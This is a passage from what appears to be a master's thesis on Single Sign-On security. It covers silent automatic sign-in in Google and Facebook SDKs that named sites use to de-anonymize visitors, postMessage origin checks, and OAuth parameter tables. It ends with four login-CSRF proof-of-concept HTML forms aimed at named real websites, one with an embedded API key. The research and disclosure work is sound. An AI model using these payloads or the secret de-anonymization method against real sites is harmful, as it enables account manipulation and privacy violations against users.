google.accounts.id.initialize({auto_select: true, callback: (credential) =>
{...} }).
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a) If the g_state cookie on the SP website is set to g_state = {"i_l":0, "i_s":1},
the SDK knows that the End-User explicitly deactivated the automatic sign-in
feature on the SP with google.accounts.id.disableAutoSelect(). The auto-
matic sign-in process is canceled and the one tap iframe is embedded with
auto_select = false query parameter.

b) If the g_state cookie on the SP website is not set or set to g_state={"i_l":0},
the SDK embeds the one tap iframe with auto_select = true query parameter
– initiating the automatic sign-in process.

2. If the one tap iframe is loaded with auto_select = true query parameter, it au-
tomatically returns the authnResp to the callback registered during initialization.
Otherwise, the one tap iframe waits for the End-User to click the sign-in button.
In any case, the one tap iframe is visible to the End-User in the automatic sign-in
flow for about five seconds.

SPs can receive the authnResp irrespectively of the logout state as follows:

Restrict g_state cookie: Before the SDK is initialized, the SP removes the g_state
cookie scoped to its domain. Thus, the one tap iframe is always loaded with
auto_select = true query parameter and automatically returns the authnResp.

5.3.1.4 Automatic Sign-In in Facebook Login SDK

The automatic sign-in feature in the Facebook Login SDK is not based on postMessage,
but uses CORS to load the authnResp in the background:

1. The SDK on the SP website is initialized: FB.init().

2. The developer invokes the FB.getLoginStatus() method.

a) If the fblo cookie on the SP website is set to "y", the SDK knows that the
End-User explicitly signed out on the SP with FB.logout(). The automatic
sign-in process is canceled.

b) If the fblo cookie on the SP website is not set, the SDK sends the CORS
request shown in Listing 5.3 to the Facebook backend.

3. If the Facebook backend receives the CORS request, it returns the authnResp
within the custom response header fb-ar, as shown in Listing 5.4, to the SDK on
the SP website.

4. The SDK finally sets a fbsr cookie – scoped to the SP origin – that contains
the signed_request returned from the CORS response. This cookie is sent in all
subsequent requests to SP endpoints.

SPs can receive the authnResp irrespectively of the logout state as follows:
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Send CORS request: SPs may send the CORS request at any time to secretly receive
the End-User identity.

Listing 5.3: CORS request initiated by the Facebook Login SDK.
1 GET /x/oauth/status?client_id=<CLIENT_ID> HTTP/1.1
2 Host: www.facebook.com
3 Origin: https://sp.com
4 Cookie: c_user=REDACTED; xs=REDACTED;

Listing 5.4: CORS response returned to the Facebook Login SDK.
1 HTTP/1.1 200 OK
2 Access-Control-Allow-Origin: https://sp.com
3 Access-Control-Allow-Credentials: true
4 Access-Control-Expose-Headers: fb-ar,fb-s
5 fb-s: connected
6 fb-ar: {"user_id": "REDACTED", "access_token": "REDACTED", "signed_request":

"REDACTED"}Òæ

5.3.2 Automatic Sign-In in real-world SP Implementations

Based on the observations in Section 5.3.1, we analyzed real-world SP implementations
of SSO SDKs to determine whether the automatic sign-in features are actually used in
the wild to secretly de-anonymize the End-User. Table 4.3 already lists the di�erent
types of SP implementations. In this analysis, we focused on SPs implementing a SSO
SDK (category 2.1) – which are a total of 20 SPs.

Methodology

1. We created accounts on each SP using Google and Facebook SSO (if available).

æ Pre-established consent

2. We opened a fresh private browsing session and logged in on Google and Facebook.

æ Session on IdP and no logout state

3. In this browsing session, we navigated to the SP endpoint that initializes the SSO
SDKs, which is usually the page that displays the sign-in buttons. We investigated
whether the SP automatically requests the authnResp – although the End-User did
not initiate the login flow by clicking on the sign-in button – using the methods
described above. If it does, we examined whether the SP actually sends the auth-
nResp to its backend and thus secretly de-anonymizes the End-User without any
interactions.
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Results We found that 4 out of 20 SPs automatically receive the authnResp from the
IdP to (1) sign in the End-User or (2) just send the authnResp to its backend without
any sign-in intentions.

Moz#82: Change.org automatically retrieves the authnResp from Facebook as shown
in Section 5.3.1.4 and sends the user_id, access_token, and signed_request to
its verification endpoint: https://www.change.org/api-proxy/-/users/login
_or_create_by_facebook. This endpoint returns session cookies to sign in the
End-User. The automatic sign-in is initiated from the main landing page: https:
//www.change.org/. The only visual indication an End-User might notice after
automatic sign-in is the profile picture in the top right corner on change.org, as
shown in Figure 5.3.

Moz#87: Yelp automatically retrieves the authnResp from Facebook as shown in Sec-
tion 5.3.1.4 and sends the user_id, access_token, and signed_request to its “re-
fresh endpoint”: https://www.yelp.de/facebook_connect/token_refresh. This
endpoint returns an HTTP 204 No Content response. The request is initiated from
the loginEndp on https://www.yelp.de/login, which displays the sign-in buttons.
Although the End-User did not click on one of those buttons, Yelp still uses the
Facebook automatic sign-in to secretly issue an XHR to its endpoint and thus, de-
anonymizes the End-User. Yelp could use the information from the token_refresh
endpoint to track the End-User throughout its entire application – even tough the
End-User did not sign in on Yelp. Since the UI remains constant, the End-User
does not notice that Yelp received its identity.

Moz#142: Pinterest uses automatic sign-in functionalities of Google and Facebook.
The Google One Tap SDK is set up for automatic sign-in according to Section 5.3.1.3.
Pinterest additionally retrieves the authnResp from Facebook as shown in Sec-
tion 5.3.1.4 and sends the user_id and access_token to its “session endpoint”:
https://www.pinterest.com/resource/UserSessionResource/create/. This end-
point returns session cookies to sign in the End-User. Note that once the End-User
is logged in, the UI changes significantly (i.e, the “pins” are displayed).

Moz#238: Instagram uses the Facebook automatic sign-in feature, as shown in Fig-
ure 5.4. The access_token and signed_request are automatically retrieved from
Facebook as shown in Section 5.3.1.4 and sent to the “profile endpoint”: https://
www.instagram.com/accounts/fb_profile/. This endpoint returns basic profile in-
formation of the End-User – including the name, email address, and profile picture
– which are finally shown in the UI. Once the authnResp is returned to the SDK, it
sets the fbsr cookie that contains the signed_request. Although the End-User did
not initiate any sign-in operations, Instagram receives the “signed_request cookie”
in each backend API request and thus knows the End-User’s identity.

https://www.change.org/api-proxy/-/users/login_or_create_by_facebook
https://www.change.org/api-proxy/-/users/login_or_create_by_facebook
https://www.change.org/
https://www.change.org/
change.org
https://www.yelp.de/facebook_connect/token_refresh
https://www.yelp.de/login
https://www.pinterest.com/resource/UserSessionResource/create/
https://www.instagram.com/accounts/fb_profile/
https://www.instagram.com/accounts/fb_profile/
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Figure 5.3: Automatic sign-in on Change.org with Facebook.

Figure 5.4: Automatic sign-in on Instagram with Facebook.



6 Conclusion

This master’s thesis addressed real-world Single Sign-On implementations on Identity
Providers and Service Providers. We presented several implementation practices in the
wild that are not standardized in the OAuth 2.0 and OpenID Connect 1.0 specifications
and lead to significant security implications allowing an attacker to take over a victim’s
account on the Service Provider.

Taken together, the Apple, Google, and Facebook IdPs all provide at least one SSO
framework1 that is – in most aspects – standard-compliant to the OAuth or OIDC spec-
ifications introduced in 2012 and 2014. But we also obtained comprehensive results
showing that some real-world SSO protocols on IdPs2 do not strictly follow the specifi-
cations and incorporate custom-designed flows that rely on newer web technologies. The
primary motivation for these custom design concepts is an improved User Experience:
instead of redirecting the primary page to the IdP’s login and consent dialog, the dialog
is opened in a new popup window – we introduced this as the popup flow. Although
the protocols still rely on standardized messages and parameters, the message flows are
redesigned from the ground up.

The real-world protocol studies suggested further research in the security of SSO popup
flows with respect to the postMessage API. We confirmed that IdPs are aware of the
security risks involved in postMessage and found that all SSO SDKs provided by Apple,
Google, and Facebook are protected. Nonetheless, analyses of real-world SSO implemen-
tations on the Moz top 63 SPs showed that 15 SPs still implement custom popup flows
with postMessage. Further investigations confirmed the impact of insecure postMessage
usage: 10 out of 15 Service Providers are vulnerable to an account takeover due to
insecure use of postMessage.

The analysis of SSO SDKs provided by Google and Facebook revealed several automatic
sign-in features intended to improve the user login adoption rate on SPs. Tests have
shown that these features can be abused by SPs to secretly de-anonymize users before
they click the sign-in button – in practice, 4 out of 20 SPs exhibit privacy-violating
patterns. Since previous research on login CSRF attacks compromising user privacy is
limited to redirect flows, this thesis applied the attack in popup flows of SSO SDKs
and discovered that 4 out of 20 SPs do not su�ciently protect against CSRF. Finally,
we presented two targeted privacy attacks in SSO. With the account leakage attack,
arbitrary websites can determine whether the currently active user has an account on

1
Sign in with Apple JS, Google OAuth 2.0 and OpenID Connect 1.0, and Facebook Login.

2
Google Sign-In, Google One Tap Sign-In and Sign-Up, and Facebook Login SDK.
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a targeted SP. The identity leakage attack determines whether the user has a certain
identity on a targeted IdP.

The attacks on Single Sign-On presented in this master’s thesis are all caused by insecure
design decisions made by developers. If real-world implementations would strictly follow
the standard specifications, the attacks would have been mitigated. We are confident
that our results improve knowledge about how SSO protocols are implemented in the
wild and encourage developers to pay special attention to security when implementing
postMessage into SSO flows.

6.1 Future Work

Future studies should examine SSO implementations on a wider range of IdPs, such
as Twitter, LinkedIn, WeChat, Microsoft, Yahoo, PayPal, and more. This includes an
analysis of the SSO protocols as well as an in-depth postMessage security evaluation (if
it is used).

Since this research revealed postMessage vulnerabilities in three Identity Brokers pro-
viding SSO as a Service, future work should investigate if further Identity Brokers (i.e.,
Google Firebase, Okta, and OneLogin) are vulnerable to an account takeover due to
insecure postMessage usage.

The findings disclosed in this thesis are encouraging and should be validated by larger
sample size. Since manual postMessage analysis is laborious due to minified and obfus-
cated JS, we suggest to develop an automatic analysis tool – for instance as Burp or
Chrome extension – that automatically lists postMessage receivers and senders on SPs
and searches for insecure destination (i.e., "*") and origin (i.e., contains()) checks. Once
an appropriate tool is developed, it can perform a large-scale evaluation of postMessage
security on hundreds of SPs.

RPC libraries use postMessage to provide easy-to-use, high-level interfaces for devel-
opers. These libraries must ensure that postMessage origin and destination checks are
enforced. We suggest a security analysis of several open-source libraries on Github im-
plementing RPCs with postMessage3.

The postMessage evaluation revealed several discrepancies within web browsers. For
instance, Chrome v85 enforces the http and https schemes within the postMessage
destination check, whereas Safari v14 allows custom URI schemes. Since the destination
parameter of the postMessage function accepts full URLs, the API must extract the
origin from this URL, which is a security-critical operation. We suggest an in-depth
security analysis and documentation of the postMessage API in web browsers.

3I.e., mixer/postmessage-rpc, izuzak/pmrpc, tableflip/postmsg-rpc, and statianzo/pm
rpc.

mixer/postmessage-rpc
izuzak/pmrpc
tableflip/postmsg-rpc
statianzo/pmrpc
statianzo/pmrpc


Glossary

Application Programming Interface An Application Programming Interface is a soft-
ware intermediary that enables two applications to communicate with each other.
For instance, JS code running on a website can access native functions of the web
browser via its APIs. See also API.

Cross-Site Request Forgery Cross-Site Request Forgery is a web application vulnera-
bility in which a malicious website instructs the victim’s web browser to send a
request on behalf of the victim to a vulnerable backend. The forged request con-
tains cookies and thus may cause dangerous state changes on the a�ected backend.
See also CSRF.

Cross-Site Scripting Cross-Site Scripting is a web application vulnerability that allows
an attacker to inject client-side scripts into a vulnerable website within the victim’s
web browser. DOM-based XSS is a subset of XSS attacks in which the malicious
script is executed as a result of local DOM modifications within the victim’s web
browser. See also XSS.

DomainKeys Identified Mail DomainKeys Identified Mail appends a digital signature
linked to a domain name to its outgoing email thus that the receiving party can
validate that the email was indeed sent by the owner of that domain. See also
DKIM.

Identity Management System An Identity Management System stores and manages
the authorization, authentication, roles, and privileges of users within a closed
unit, for example an enterprise or corporation. See also IdMS.

Password Dilemma The Password Dilemma describes the contradictoriness of choosing
a strong but forgettable password or a weak but memorable password.

Representational State Transfer Representational State Transfer describes an architec-
tural style for an API. It defines a common format for HTTP requests to access,
modify, and delete data on a backend. See also REST.



Sender Policy Framework The Sender Policy Framework allows a receiving mail server
to validate that a mail claiming to originate from a specific server is indeed sent
from an IP address that is authorized by the server operator. See also SPF.

Software as a Service Software as a Service is a cloud-based software distribution model
in which providers deliver software products to customers over the internet. See
also SaaS.

Software Development Kit A Software Development Kit is a package of software tools
and programs that allows developers to quickly integrate the tools into their ex-
isting applications. See also SDK.
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A Appendix

A.1 SSO Protocols in the Wild: Protocol Flows and Messages

Table A.1 lists the OAuth and OIDC flows supported by Apple, Google, and Facebook.
The parameters supported within the authnReq, authnResp, tokenReq, and tokenResp
protocol messages are summarized in Tables A.2 to A.5.

Table A.1: OAuth 2.0 and OpenID Connect 1.0 flows supported by Apple, Google, and
Facebook. The appropriate response_type parameters are specified as well.

Flow Apple Google Facebook

OAuth Code 71 71 •code
OAuth Implicit 7 •token •token
OIDC Code •code •code 7

OIDC Implicit 7
•id_token
•token id_token

7

OIDC Hybrid •code id_token

•code token
•code id_token
•code token
id_token

7

Custom Flows 7 •permission3

•signed_request
•code token2

•code signed_request
•token
signed_request
•code token
signed_request

1 Always returns id_token in tokenResp, disrespecting scope=openid.
2 Non-standardized OAuth Hybrid Flow in which the code is redeemed for an access_token without

id_token.
3 Used in combination with other response_types to return additional login_hint for the session

selector in Google Sign-In.



Table A.2: AuthnReq parameters supported by Apple, Google, and Facebook.
Ref. Parameter Applea Googleb Facebookc

[35]

client_id 3 3 3

response_type
code,

id_token

code, token,
id_token,

permission

code, token,
signed_request,
granted_scopes,
graph_domain

redirect_uri 3 3 3

scope
name, email,

openid
profile,

email, openid1
public_profile,

email2

state 3 3 3

[11] response_mode

query,
fragment,
form_post,

web_message

query,
fragment,
form_post

7

[67]

nonce 3 3 7

display 7
page, popup,
touch, wap3

page, popup,
touch

prompt 7
none,

consent,
select_account

7

max_age 7 33 7
ui_locales 7 7 7
claims_locales 7 7 7
id_token_hint 7 3 7
login_hint 7 3 7
acr_values 7 7 7
claims 7 3 7
registration 7 7 7
request 7 7 7
request_uri 7 7 7

[75] code_challenge 7 3 7
code_challenge_method 7 S256, plain 7

a Endpoint: GET https://appleid.apple.com/auth/authorize
b Endpoint: GET/POST https://accounts.google.com/o/oauth2/v2/auth
c Endpoint: GET https://www.facebook.com/v8.0/dialog/oauth
1 Scopes available at Google: https://developers.google.com/identity/protocols

/oauth2/scopes.
2 Scopes available at Facebook: https://developers.facebook.com/docs/permissio

ns/reference.
3 Do not have any e�ects.

https://appleid.apple.com/auth/authorize
https://accounts.google.com/o/oauth2/v2/auth
https://www.facebook.com/v8.0/dialog/oauth
https://developers.google.com/identity/protocols/oauth2/scopes
https://developers.google.com/identity/protocols/oauth2/scopes
https://developers.facebook.com/docs/permissions/reference
https://developers.facebook.com/docs/permissions/reference


Table A.3: AuthnResp parameters supported by Apple, Google, and Facebook.
Ref. Parameter Apple Google Facebook

[35]

code 3 3 3
state 3 3 3
scope 7 3 (3)1

access_token 7 3 3
token_type 7 Bearer 7
expires_in 7 ¥ 1h ¥ 2h

[67] id_token

alg=RS256, kid,
iss, aud, exp, iat,

sub, nonce,
c_hash, email,

email_verified,
is_private_email,

auth_time,
nonce_supported

alg=RS256,
typ=JWT, kid, iss,

azp, aud, sub,
email,

email_verified,
at_hash, c_hash,

nonce, name,
picture,

given_name,
family_name,

locale, iat, exp,
jti, hd, profile

7

1 The parameters granted_scopes and denied_scopes are returned if the response_type in
the authnReq contains granted_scopes.

Table A.4: TokenReq parameters supported by Apple, Google, and Facebook.
Ref. Parameter Applea Googleb Facebookc

[35]

client_id 3 3 3

client_secret
Hybrid of

private_key_jwt,
client_secret_post

client_secret_basic,
client_secret_post

client_secret_basic,
client_secret_post

grant_type
authorization_code,

refresh_token,
client_credentials

authorization_code,
refresh_token,

urn:ietf:params:
oauth:grant-type:

jwt-bearer

authorization_code,
client_credentials,
fb_exchange_token,
fb_attenuate_token

code 3 3 3
refresh_token 3 3 7
scope user.migration 3 3
redirect_uri 3 3 3

[75] code_verifier 7 3 7
a Endpoint: POST https://appleid.apple.com/auth/token
b Endpoint: POST https://oauth2.googleapis.com/token
c Endpoint: GET/POST https://graph.facebook.com/v8.0/oauth/access_token

https://appleid.apple.com/auth/token
https://oauth2.googleapis.com/token
https://graph.facebook.com/v8.0/oauth/access_token


Table A.5: TokenResp parameters supported by Apple, Google, and Facebook.
Ref. Parameter Apple Google Facebook

[35]

access_token 3 3 3
refresh_token 3 31 7
token_type Bearer Bearer bearer
expires_in ¥ 1h ¥ 1h ¥ 60d
scope 7 3 7

[67] id_token

iss, aud, exp, iat,
sub, nonce,

at_hash, email,
email_verified,

is_private_email,
auth_time,

nonce_supported

alg=RS256,
typ=JWT, kid, iss,

azp, aud, sub,
email,

email_verified,
at_hash, nonce,
name, picture,

given_name
family_name,

locale, iat, exp,
hd, profile

7

1 Only returned if access_type=offline and prompt=consent in authnReq of web app. Always
returned in installed apps.

A.2 PostMessage Security in SSO SDKs: Evaluation Details

Tables A.6 to A.9 reveal the details of the security analysis of postMessage in SSO SDKs.
Each table row represents an individual postMessage receiver or sender and describes the
security checks performed, along with the code excerpts that implement the checks.

Table A.6: Evaluation of postMessage security in Sign in with Apple JS.
R/S Static or Dynamic? Code Excerpt Vuln?

Sender in
popup

Popup uses dynamic origin of
redirect_uri to send pM to pri-
mary window: u.a.destinationDomain
= "https://sp.com"

window.opener Ê

.postMessage(JSON Ê

.stringify(t), u.a Ê

.destinationDomain)

#

Receiver in
primary

Primary window statically checks
origin of pM from popup: ce =
"https://appleid.apple.com"

if (e.origin !==
ce) return;

#

 : SDK is vulnerable. | #: SDK is not vulnerable. | G#: Limited vulnerability.



Table A.7: Evaluation of postMessage security in Google Sign-In.
R/S Static or Dynamic? Code Excerpt Vuln?

Sender in
iframe

Iframe uses dynamic origin from hash
fragment that is validated on back-
end server (action=checkOrigin) to
send pM to primary window: a.h =
"https://sp.com"

window.parent Ê

.postMessage(b,
a.h)

#

Receiver in
primary

Primary window statically checks ori-
gin of pM from iframe or popup: c.pB
= "https://accounts.google.com"

c.pB == a.origin #

Sender in
primary

Primary window uses static origin
to send pM to iframe: a.pB =
"https://accounts.google.com"

a.Wl.contentWindow Ê

.postMessage(_.Du Ê

.stringify(b), a.pB)
#

Receiver in
iframe

Iframe dynamically checks origin of
pM from primary window with origin
from hash fragment that is validated on
backend server (action=checkOrigin):
this.h = "https://sp.com"

if (a.origin ==
this.h) { ... }

#

Sender in
popup

Popup uses dynamic origin of
storagerelay:// redirect_uri to
send pM to primary window: a =
"https://sp.com"

window.opener Ê

.postMessage(vO Ê

.stringify(g), a);
#

 : SDK is vulnerable. | #: SDK is not vulnerable. | G#: Limited vulnerability.

Table A.8: Evaluation of postMessage security in Google One Tap Sign-In and Sign-Up.
R/S Static or Dynamic? Code Excerpt Vuln?

Sender in
iframe

Iframe uses dynamic origin from query
string that is validated on back-
end server to send “readyForCon-
nect” pM to primary window: a.l =
"https://sp.com"

window.parent Ê

.postMessage(b,
a.l)

#

Receiver in
primary

Primary window statically checks
origin of “readyForConnect” pM from
iframe: a.H = "https://accounts Ê

.google.com"

if (b.origin === a.H
&& "readyForConnect"
=== b.data.type) {
... }

#

Sender in
primary

Primary window uses static origin to
send “channelConnect” pM to iframe:
a.H = "https://accounts.google.com"

b.source Ê

.postMessage({type:
"channelConnect",
nonce: a.l}, a.H,
[c.port2])

#

Receiver in
iframe

Iframe dynamically checks origin of
“channelConnect” pM from primary
window with origin from query string
that is validated on backend server: a Ê

.l = "https://sp.com"

if (d.origin === a.l
&& "channelConnect"
== d.data.type) { /*
Uses d.ports[0] */ }

#

 : SDK is vulnerable. | #: SDK is not vulnerable. | G#: Limited vulnerability.



Table A.9: Evaluation of postMessage security in Facebook Login.
R/S Static or Dynamic? Code Excerpt Vuln?

Sender in
iframe

Iframe uses dynamic origin from
channel query parameter that is vali-
dated on backend server to send pM
to primary window: e = "https://sp Ê

.com"

f Ê

.postMessage(b("PHPQuery
Serializer") Ê

.serialize(d), e)

#

Receiver in
primary

Primary window statically checks ori-
gin of pM from iframe or popup. The
first check is vulnerable, since it uses an
insecure regular expression. The sec-
ond check is secure.

if (!/^https:\/\/ Ê

.*facebook\.com$/ Ê

.test(a.origin))
return; and if
(!/(^|\.)facebook\ Ê

.com$/.test(a Ê

.getDomain()))
return;

G#

Sender in
primary

Primary window uses static origin to
send pM to iframe: c = "https://www Ê

.facebook.com"

window.frames[d] Ê

.postMessage({xdArbiter
HandleMessage: true,
message: a, origin:
m}, c)

#

Receiver in
iframe

Does not perform origin check. No origin check required, since
any origin may (1) initiate the button with loginButtonStateInit
or (2) send the loginComplete and loginReload pMs. This re-
ceiver does not perform any security-sensitive actions in the
following method: b("Arbiter").inform("Connect.Unsafe." +
a.data.message.method, JSON.parse(a.data.message.params),
"persistent").

#

Sender in
popup

Popup uses dynamic origin from
xd_arbiter redirect_uri to send
pM to primary window: origin =
"https://sp.com"

window.opener Ê

.postMessage(message,
origin)

#

 : SDK is vulnerable. | #: SDK is not vulnerable. | G#: Limited vulnerability.



A.3 CSRF Protection in SSO SDKs: Proof of Concept

The POCs of the login CSRF vulnerabilities on www.wix.com, samsung.com, wikihow.com,
and imageshack.us are shown in Listings A.1 to A.4.

Listing A.1: Proof of Concept – Login CSRF on www.wix.com.
1 <html>
2 <!-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <script>history.pushState(��, ��, �/�)</script>
5 <form action="https://users.wix.com/social/login/google" method="POST">
6 <input type="hidden" name="id&#95;token" value="<GOOGLE_ID_TOKEN>" />
7 <input type="submit" value="Submit request" />
8 </form>
9 </body>

10 </html>

Listing A.2: Proof of Concept – Login CSRF on samsung.com.
1 <html>
2 <!-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <script>history.pushState(��, ��, �/�)</script>
5 <form action="https://www.samsung.com/de/api/v3/sso/sa/login" method="POST">
6 <input type="hidden" name="data" value="<FACEBOOK_SIGNED_REQUEST>" />
7 <input type="submit" value="Submit request" />
8 </form>
9 </body>

10 </html>

Listing A.3: Proof of Concept – Login CSRF on wikihow.com.
1 <html>
2 <!-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <script>history.pushState(��, ��, �/�)</script>
5 <form action="https://www.wikihow.com/Special:GPlusLogin" method="POST"

enctype="multipart/form-data">Òæ

6 <input type="hidden" name="token" value="<GOOGLE_ID_TOKEN>" />
7 <input type="hidden" name="action" value="login" />
8 <input type="hidden" name="returnTo" value="Main&#45;Page" />
9 <input type="hidden" name="gdpr" value="true" />

10 <input type="submit" value="Submit request" />
11 </form>
12 </body>
13 </html>

www.wix.com
samsung.com
wikihow.com
imageshack.us
www.wix.com
samsung.com
wikihow.com


Listing A.4: Proof of Concept – Login CSRF on imageshack.us.
1 <html>
2 <!-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
4 <script>history.pushState(��, ��, �/�)</script>
5 <form action="https://imageshack.com/rest_api/v2/user/facebook_login"

method="POST">Òæ

6 <input type="hidden" name="api&#95;key"
value="5SQW7ZT1dec0922325c83383377e7e557d97fe7a" />Òæ

7 <input type="hidden" name="user&#95;id" value="167405224854824" />
8 <input type="hidden" name="access&#95;token" value="<FACEBOOK_ACCESS_TOKEN>" />
9 <input type="hidden" name="gender" value="" />

10 <input type="hidden" name="set&#95;cookies" value="true" />
11 <input type="submit" value="Submit request" />
12 </form>
13 </body>
14 </html>

imageshack.us
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